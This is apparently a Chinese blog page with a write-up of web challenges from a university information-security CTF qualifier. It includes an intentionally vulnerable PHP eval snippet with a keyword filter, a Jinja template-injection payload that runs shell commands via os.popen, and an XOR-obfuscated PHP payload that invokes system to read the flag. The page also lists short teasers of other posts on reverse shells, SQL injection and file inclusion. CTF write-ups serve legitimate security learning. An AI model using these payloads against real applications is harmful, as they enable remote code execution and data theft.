第十三届全国大学生信息安全竞赛-创新实践能力赛西南赛区选拔赛wp/第十三届全国大学生信息安全竞赛-创新实践能力赛西南赛区选拔赛wp

  |  

第十三届全国大学生信息安全竞赛-创新实践能力赛西南赛区选拔赛wp

day1

web1

扫一下目录,有个www.rar,解压审计一下代码,找到关键文件key.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class XJNU{
private function flag(){
echo $flag;
}
}


if(preg_match("/system|exec|eval|shell_exec|passthru|phpinfo/i" , $_GET['f'])){
die("do not attack me");
}
if(preg_match("/system|exec|eval|shell_exec|passthru|phpinfo/i" , $_GET['c'])){
die("do not attack me");
}
if(preg_match("/XJNU|flag/i" , $_GET['f']) || preg_match("/XJNU|flag/i" , $_GET['c'])){
die("no way!<br>");
}
$new = call_user_func_array($_GET['f'],["", $_GET['b']]);
eval($_GET['c']);
?>

回调函数的rce,不过因为参数c过滤不严格,导致可以通过getheader来rce。

先var_dump(scand(“/“))找到flag文件,再用readfile读就可以了。

Web2

随便输入账户登录进去,fuzz一下,在每日报告的第三个参数存在ssti。过滤了些关键字,用globals来找就行。

payload:

1
status_1=&status_2=&status_3={{url_for.__globals__.os.popen('cat /flag2333_canufindit').read()}}

day2

simplecalculator

一个简单的命令执行,Ban一些符号与字符函数,可以通过重载函数的方法来调用。因此我们利用异或拼出GET然后调用system来rec。

image-20200920162855771

Payload如下:

1
`http://172.1.21.13/flag.php?search=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag.txt

`

image-20200920163003542

学习pwn小记(2)

  |  

在研究ret2libc时,耗费几天时间去理解学习。感觉在了解ret2libc技术的同时更多的还是学习到一些调试与编写的技术以及解决了我的一些疑惑,故写文以记之。

对linux 命令执行的总结

  |  

最近ctf 貌似对 RCE(远程命令执行)的要求明显提高,最后一步都是考一些关于反弹shell或远程执行某文件并知晓返回结果。然后,这些本linux命令就掌握不够好的菜鸡,雪上加霜。故写下此文来记录下(顺便也方便健忘的我来记忆下(눈_눈))

关于SQL注入小记

  |  

sql注入产生的原因是未对用户输入进行处理,导致输入的恶意信息与后端设定的sql语句进行拼接时产生了歧义,使得用户可以控制该条sql语句与数据库进行通信。

NahamCon CTF WP

  |  

某周末,在某大佬的推荐下打了下NahamCon CTF在最后几小时里体验了下这真’雨露均沾’的ctf的感觉.(但菜还是菜这点没变(눈_눈) )

对于文件包含漏洞的知识梳理

  |  

近日刷题发现对基础知识掌握有点不牢固,故逐步整理温习.今天还是先整理下文件包含漏洞.

文件包含是指:程序开发人员把经常使用代码写到一个文件里,在使用时直接调用那个文件而无需重新编写代码的过程称为文件包含.在c语言中的调用头文件和python import调用模块本质上就是一种文件包含。而文件包含漏洞(RFI)是指通过函数包含文件时,没有对包含的文件进行处理导致包含某些敏感文件或恶意文件。

|